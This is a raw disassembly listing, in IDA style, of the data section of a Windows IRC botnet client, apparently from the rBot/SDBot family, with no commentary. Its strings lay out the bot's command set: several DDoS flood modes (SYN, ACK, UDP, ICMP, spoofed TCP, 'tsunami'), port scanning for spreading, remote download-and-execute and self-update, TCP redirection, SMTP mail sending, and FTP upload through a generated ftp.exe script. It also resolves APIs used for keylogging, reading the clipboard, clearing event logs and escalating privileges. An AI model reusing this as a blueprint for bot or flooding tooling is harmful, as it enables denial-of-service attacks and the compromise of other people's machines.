dword_44289C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401CC7+6F05o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char aTsunami[]
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401CC7+4AB4o
; char aTsn[]
aTsn		db 'tsn',0              ; DATA XREF: sub_401CC7+4ACBo
; char asc_4428E4[]
asc_4428E4	db '-'                  ; DATA XREF: sub_401CC7+6D9Bo
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
; char asc_442918[]
asc_442918	db '-'                  ; DATA XREF: sub_401CC7+6E06o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToSta_17	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char aRepeat[]
aRepeat		db 'repeat',0           ; DATA XREF: sub_401CC7+4AE2o
		align 4
; char aRp[]
aRp		db 'rp',0               ; DATA XREF: sub_401CC7+4AF9o
		align 10h
; char a332_1[]
a332_1		db '332',0              ; DATA XREF: sub_401CC7+6C41o
; char aRepeat_0[]
aRepeat_0	db 'repeat',0           ; DATA XREF: sub_401CC7+6C68o
		align 4
; char aSSSS_0[]
aSSSS_0		db '%s %s %s :%s',0     ; DATA XREF: sub_401CC7+6C95o
		align 4
; char asc_44297C[]
asc_44297C	db '-'                  ; DATA XREF: sub_401CC7+6CBEo
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 65706552h, 203A7461h, 7325h
; char asc_442994[]
asc_442994	db '-'                  ; DATA XREF: sub_401CC7:loc_4089C0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
; char aDelay[]
aDelay		db 'delay',0            ; DATA XREF: sub_401CC7+4B10o
		align 10h
; char aDe[]
aDe		db 'de',0               ; DATA XREF: sub_401CC7+4B27o
		align 4
; char a332_0[]
a332_0		db '332',0              ; DATA XREF: sub_401CC7+6BA2o
; char aSSSS[]
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_401CC7+6BE3o
		align 4
dword_4429E8	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401CC7:loc_4088EEo
; char aUpdate[]
aUpdate		db 'update',0           ; DATA XREF: sub_401CC7+4B3Eo
		align 4
; char aUp_0[]
aUp_0		db 'up',0               ; DATA XREF: sub_401CC7+4B55o
		align 4
; char aSS_exe[]
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401CC7+6A63o
		align 4
; char asc_442A14[]
asc_442A14	db '-'                  ; DATA XREF: sub_401CC7+6B0Bo
		db 3, 34h, 2
		dd 61647075h, 3026574h
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
dword_442A40	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401CC7+6B7Ao
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
; char asc_442A7C[]
asc_442A7C	db '-'                  ; DATA XREF: sub_401CC7:loc_40884Bo
		db 3, 34h, 2
		dd 61647075h, 3026574h
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
; char aExecute[]
aExecute	db 'execute',0          ; DATA XREF: sub_401CC7+4B6Co
; char aE[]
aE:					; DATA XREF: sub_401CC7+4B83o
		unicode	0, <e>,0
unk_442AD0	db  2Dh	; -		; DATA XREF: sub_401CC7+69F6o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
dword_442AF4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401CC7+6A01o
		dd 7325203Ah, 0
; char aFindfile[]
aFindfile	db 'findfile',0         ; DATA XREF: sub_401CC7+4B9Ao
		align 4
; char aFf[]
aFf		db 'ff',0               ; DATA XREF: sub_401CC7+4BB1o
		align 10h
; char asc_442B20[]
asc_442B20	db '-'                  ; DATA XREF: sub_401CC7+68E6o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
; char asc_442B50[]
asc_442B50	db '-'                  ; DATA XREF: sub_401CC7+695Co
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_18	db 'Failed to start search thread, error: <%d>.',0
; char aRename[]
aRename		db 'rename',0           ; DATA XREF: sub_401CC7+4BC8o
		align 4
; char aMv[]
aMv		db 'mv',0               ; DATA XREF: sub_401CC7+4BDFo
		align 4
; char asc_442B98[]
asc_442B98	db '-'                  ; DATA XREF: sub_401CC7+680Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
dword_442BBC	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401CC7:loc_4084E6o
; char aIcmpflood[]
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401CC7+4BF6o
		align 4
; char aIcmp[]
aIcmp		db 'icmp',0             ; DATA XREF: sub_401CC7+4C0Do
		align 4
; char asc_442BDC[]
asc_442BDC	db '-'                  ; DATA XREF: sub_401CC7+676Eo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
unk_442C08	db  2Dh	; -		; DATA XREF: sub_401CC7+67DEo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_19	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_442C40	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_4084AFo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
; char aClone_0[]
aClone_0	db 'clone',0            ; DATA XREF: sub_401CC7+4C36o
		align 10h
; char aC[]
aC:					; DATA XREF: sub_401CC7+4C4Do
		unicode	0, <c>,0
; char asc_442C84[]
asc_442C84	db '-'                  ; DATA XREF: sub_401CC7+667Co
		db 3, 34h, 2
		dd 6E6F6C63h, 3027365h
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
dword_442CB4	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401CC7+66EBo
aFailedToSta_20	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
; char aDdos_syn[]
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401CC7+4C64o
		align 4
; char aDdos_ack[]
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401CC7+4C7Bo
		align 4
; char aDdos_random[]
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401CC7+4C92o
; char asc_442D14[]
asc_442D14	db '-'                  ; DATA XREF: sub_401CC7+6594o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_442D44	db  2Dh	; -		; DATA XREF: sub_401CC7+6603o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_21	db 'Failed to start flood thread, error: <%d>.',0
		align 4
; char aWisdom_udp[]
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401CC7+4CA9o
		align 4
unk_442D88	db  2Dh	; -		; DATA XREF: sub_401CC7+4D80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_22	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char aSynflood[]
aSynflood	db 'synflood',0         ; DATA XREF: sub_401CC7+4D8Do
		align 4
; char aSyn[]
aSyn		db 'syn',0              ; DATA XREF: sub_401CC7+4DA4o
; char asc_442DD8[]
asc_442DD8	db '-'                  ; DATA XREF: sub_401CC7+649Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_442E08	db  2Dh	; -		; DATA XREF: sub_401CC7+650Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToSta_23	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
; char aSkysyn[]
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401CC7+4DBBo
		align 4
; char asc_442E48[]
asc_442E48	db '-'                  ; DATA XREF: sub_401CC7+4E3Eo
		db 3, 34h, 2
		dd 73796B73h, 3026E79h
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
dword_442E78	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401CC7+4EADo
aFailedToSta_24	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char aPhatwonk[]
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401CC7+4EBAo
		align 10h
; char aWonk[]
aWonk		db 'wonk',0             ; DATA XREF: sub_401CC7+4ED1o
		align 4
; char asc_442EC8[]
asc_442EC8	db '-'                  ; DATA XREF: sub_401CC7+63B3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_442F04	db  2Dh	; -		; DATA XREF: sub_401CC7+6422o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_25	db 'Failed to start flood thread, error: <%d>.',0
		align 4
; char aDownload[]
aDownload	db 'download',0         ; DATA XREF: sub_401CC7+4EE8o
		align 4
; char aDl[]
aDl		db 'dl',0               ; DATA XREF: sub_401CC7+4EFFo
		align 4
; char asc_442F4C[]
asc_442F4C	db '-'                  ; DATA XREF: sub_401CC7+62CBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_442F78	db  2Dh	; -		; DATA XREF: sub_401CC7+633Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_26	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
; char aRedirect[]
aRedirect	db 'redirect',0         ; DATA XREF: sub_401CC7+4F16o
		align 4
; char aRd[]
aRd		db 'rd',0               ; DATA XREF: sub_401CC7+4F2Do
		align 4
; char asc_442FC8[]
asc_442FC8	db '-'                  ; DATA XREF: sub_401CC7+618Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_443004	db  2Dh	; -		; DATA XREF: sub_401CC7+61FCo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
; char aScan_0[]
aScan_0		db 'scan',0             ; DATA XREF: sub_401CC7+4F44o
		align 10h
; char aSc[]
aSc		db 'sc',0               ; DATA XREF: sub_401CC7+4F5Bo
		align 4
; char asc_443054[]
asc_443054	db '-'                  ; DATA XREF: sub_401CC7+6090o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 10h
unk_443090	db  2Dh	; -		; DATA XREF: sub_401CC7+60FFo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start scan thread, error: <%d>.',0
		align 4
; char aC_privmsg[]
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401CC7+4F72o
		align 4
; char aC_pm[]
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401CC7+4F89o
		align 4
; char aSSS_0[]
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_401CC7+5FE4o
		align 4
; char aC_action[]
aC_action	db 'c_action',0         ; DATA XREF: sub_401CC7+4FA0o
		align 4
; char aC_a[]
aC_a		db 'c_a',0              ; DATA XREF: sub_401CC7+4FB7o
; char dword_4430FC
dword_4430FC	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401CC7+5E73o
aSSS		db '[%s] * %s %s',0     ; DATA XREF: sub_401CC7+5F07o
		align 4
; char aPortscan[]
aPortscan	db 'portscan',0         ; DATA XREF: sub_401CC7+4FDDo
		align 4
; char aPsc[]
aPsc		db 'psc',0              ; DATA XREF: sub_401CC7+4FF4o
; char asc_443128[]
asc_443128	db '-'                  ; DATA XREF: sub_401CC7+5DA0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_443178	db  2Dh	; -		; DATA XREF: sub_401CC7+5E0Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_28	db 'Failed to start scan thread, error: <%d>.',0
		align 4
; char aAdvscan[]
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401CC7+500Bo
; char aAsc[]
aAsc		db 'asc',0              ; DATA XREF: sub_401CC7+5022o
; char asc_4431C0[]
asc_4431C0	db '-'                  ; DATA XREF: sub_401CC7+5875o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScan_0	db 'Already %d scanning threads. Too many specified.',0
		align 10h
unk_443200	db  2Dh	; -		; DATA XREF: sub_401CC7+5AC7o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_29	db 'Failed to start scan, port is invalid.',0
		align 4
unk_443234	db  2Dh	; -		; DATA XREF: sub_401CC7+5B24o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start scan, no IP specified.',0
		align 4
aRandom_1	db 'Random',0           ; DATA XREF: sub_401CC7+5C68o
		align 10h
aSequential_0	db 'Sequential',0       ; DATA XREF: sub_401CC7+5C6Fo
		align 4
; char asc_44327C[]
asc_44327C	db '-'                  ; DATA XREF: sub_401CC7+5C9Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanSta_0	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_4432E4	db  2Dh	; -		; DATA XREF: sub_401CC7+5D09o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_31	db 'Failed to start scan thread, error: <%d>.',0
		align 4
; char aUdpflood[]
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401CC7+5039o
		align 4
; char aUdp[]
aUdp		db 'udp',0              ; DATA XREF: sub_401CC7+5050o
; char aU[]
aU:					; DATA XREF: sub_401CC7+5067o
		unicode	0, <u>,0
; char asc_443330[]
asc_443330	db '-'                  ; DATA XREF: sub_401CC7+57ADo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
; char asc_443378[]
asc_443378	db '-'                  ; DATA XREF: sub_401CC7+5818o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_32	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
; char aNetsend[]
aNetsend	db 'netsend',0          ; DATA XREF: sub_401CC7+507Eo
; char aNs[]
aNs		db 'ns',0               ; DATA XREF: sub_401CC7+5095o
		align 4
; char asc_4433BC[]
asc_4433BC	db '-'                  ; DATA XREF: sub_401CC7+5602o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
unk_4433F8	db  2Dh	; -		; DATA XREF: sub_401CC7+56A4o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 10h
; char asc_443430[]
asc_443430	db '-'                  ; DATA XREF: sub_401CC7+56C8o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_443464	db  2Dh	; -		; DATA XREF: sub_401CC7+56FCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
; char aPingflood[]
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401CC7+50ACo
		align 4
; char aPing_0[]
aPing_0		db 'ping',0             ; DATA XREF: sub_401CC7+50C3o
		align 4
; char aP[]
aP:					; DATA XREF: sub_401CC7+50DAo
		unicode	0, <p>,0
; char asc_4434B0[]
asc_4434B0	db '-'                  ; DATA XREF: sub_401CC7+5561o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_4434F8	db  2Dh	; -		; DATA XREF: sub_401CC7+55D0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_33	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
; char aIcmp_dllNotAva[]
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401CC7+55E5o
		align 4
; char aTcpflood[]
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401CC7+50F1o
		align 4
; char aTcp[]
aTcp		db 'tcp',0              ; DATA XREF: sub_401CC7+5108o
; char aSyn_0[]
aSyn_0		db 'syn',0              ; DATA XREF: sub_401CC7+533Eo
; char aAck[]
aAck		db 'ack',0              ; DATA XREF: sub_401CC7+5356o
; char aRandom_0[]
aRandom_0	db 'random',0           ; DATA XREF: sub_401CC7+536Do
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401CC7+5418o
aNormal		db 'Normal',0           ; DATA XREF: sub_401CC7+541Fo
		align 4
; char asc_443578[]
asc_443578	db '-'                  ; DATA XREF: sub_401CC7+542Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
unk_4435AC	db  2Dh	; -		; DATA XREF: sub_401CC7+54A9o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_34	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char asc_4435E4[]
asc_4435E4	db '-'                  ; DATA XREF: sub_401CC7:loc_40717Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_44361C	db  2Dh	; -		; DATA XREF: sub_401CC7+537Do
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
; char aEmail[]
aEmail		db 'email',0            ; DATA XREF: sub_401CC7+511Fo
		align 10h
; char asc_443650[]
asc_443650:				; DATA XREF: sub_401CC7+5169o
		unicode	0, < >,0
; char a__1[]
a__1:					; DATA XREF: sub_401CC7+516Eo
		unicode	0, <_>,0
; char aHeloRndnickMai[]
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401CC7+520Ao
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
; char asc_4436A4[]
asc_4436A4	db '-'                  ; DATA XREF: sub_401CC7+527Eo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
; char aHttpcon[]
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401CC7+52CDo
; char aHcon[]
aHcon		db 'hcon',0             ; DATA XREF: sub_401CC7+52E0o
		align 4
; char aUpload[]
aUpload		db 'upload',0           ; DATA XREF: sub_401CC7+58ABo
		align 10h
unk_4436E0	db  2Dh	; -		; DATA XREF: sub_401CC7+58CEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 10h
; char aSIII_dll[]
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401CC7+5918o
		align 10h
; char Mode[]
Mode		db 'ab',0               ; DATA XREF: sub_401CC7+5929o
		align 4
; char aOpenSSSSPutSBy[]
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401CC7+594Do
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
; char aSS_2[]
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401CC7+5970o
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401CC7+5987o
aOpen_0		db 'open',0             ; DATA XREF: sub_401CC7+598Co
		align 10h
unk_443750	db  2Dh	; -		; DATA XREF: sub_401CC7+59A0o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s',0
		align 4
; char asc_443778[]
asc_443778	db '-'                  ; DATA XREF: sub_401CC7:loc_40766Eo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s failed.',0
		align 4
; char aNotice_3[]
aNotice_3	db 'NOTICE',0           ; DATA XREF: sub_409D34+Fo
		align 10h
aPrivmsg_2	db 'PRIVMSG',0          ; DATA XREF: sub_409D34+16o
; char aS_21[]
aS_21		db '%s',0               ; DATA XREF: sub_409D34+3Do
		align 4
; char aSSS_1[]
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409D34+5Do
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409DD4+Ao
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409DD4+23o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409DD4+2Bo
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409DD4+38o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409DD4+45o
		align 4
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409DD4+52o
		align 4
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409DD4+5Fo
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409DD4+6Co
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409DD4+79o
		align 10h
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409DD4+86o
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409DD4+93o
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409DD4+A0o
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409DD4:loc_409EDCo
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409DD4:loc_409F09o
		align 4
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409DD4+14Ao
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409DD4+152o
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409DD4+15Fo
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409DD4+16Co
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409DD4+179o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409DD4+186o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409DD4+193o
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409DD4+1A0o
		align 10h
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409DD4:loc_409FCCo
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409DD4+200o
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409DD4+20Do
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409DD4+21Ao
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409DD4:loc_40A033o
		align 4
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409DD4+270o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409DD4+278o
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409DD4+285o
		align 4
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409DD4+292o
		align 4
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409DD4+29Fo
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409DD4+2ACo
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409DD4+2B9o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409DD4+2C6o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409DD4:loc_40A0E6o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409DD4+31Ao
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409DD4+327o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409DD4:loc_40A12Bo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409DD4+35Fo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409DD4+36Co
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409DD4+379o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409DD4+386o
		align 4
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409DD4+393o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409DD4+3A0o
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409DD4+3ADo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409DD4:loc_40A1D9o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409DD4:loc_40A201o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409DD4+43Eo
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409DD4+446o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409DD4+453o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409DD4+460o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409DD4+46Do
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409DD4+47Ao
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409DD4+487o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409DD4+494o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409DD4+4A1o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409DD4+514o
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409DD4+525o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409DD4+52Do
		align 4
